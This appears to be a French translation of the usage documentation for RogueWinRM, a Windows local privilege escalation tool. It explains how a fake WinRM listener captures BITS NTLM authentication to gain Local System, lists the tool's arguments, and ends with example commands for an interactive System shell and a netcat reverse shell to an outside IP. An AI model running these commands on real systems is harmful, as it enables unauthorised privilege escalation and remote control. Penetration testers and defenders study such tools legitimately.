
Élévation de privilèges locale Windows d'un compte de service à System
RogueWinRM est un exploit d'élévation de privilèges local qui permet de passer d'un compte de service (avec SeImpersonatePrivilege) au compte Système local si le service WinRM n'est pas en cours d'exécution (par défaut sur Win10 mais PAS sur Windows Server 2019).
En bref, il écoute les connexions entrantes sur le port 5985 en simulant un véritable service WinRM.
C'est simplement un serveur web minimal qui tentera de négocier une authentification NTLM avec tout service essayant de se connecter sur ce port.
Ensuite, le service BITS (s'exécutant en tant que Système local) est déclenché et tentera de s'authentifier auprès de notre écouteur factice. Une fois authentifié auprès de notre écouteur factice, nous pouvons usurper l'identité de l'utilisateur Système local en lançant un processus arbitraire avec ces privilèges.
Vous pouvez trouver une description technique complète de cette vulnérabilité à ce lien --> https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/
RogueWinRM
Arguments obligatoires :
-p <program>: programme à lancer
Arguments optionnels :
-a <argument>: argument de ligne de commande à passer au programme (par défaut NULL)
-l <port>: port d'écoute (par défaut 5985 WinRM)
-d : Activer la sortie de débogage

Exécution d'un cmd interactif :
RogueWinRM.exe -p C:\windows\system32\cmd.exe
Exécution d'un shell inverse netcat :
RogueWinRM.exe -p C:\windows\temp\nc64.exe -a "10.0.0.1 3001 -e cmd"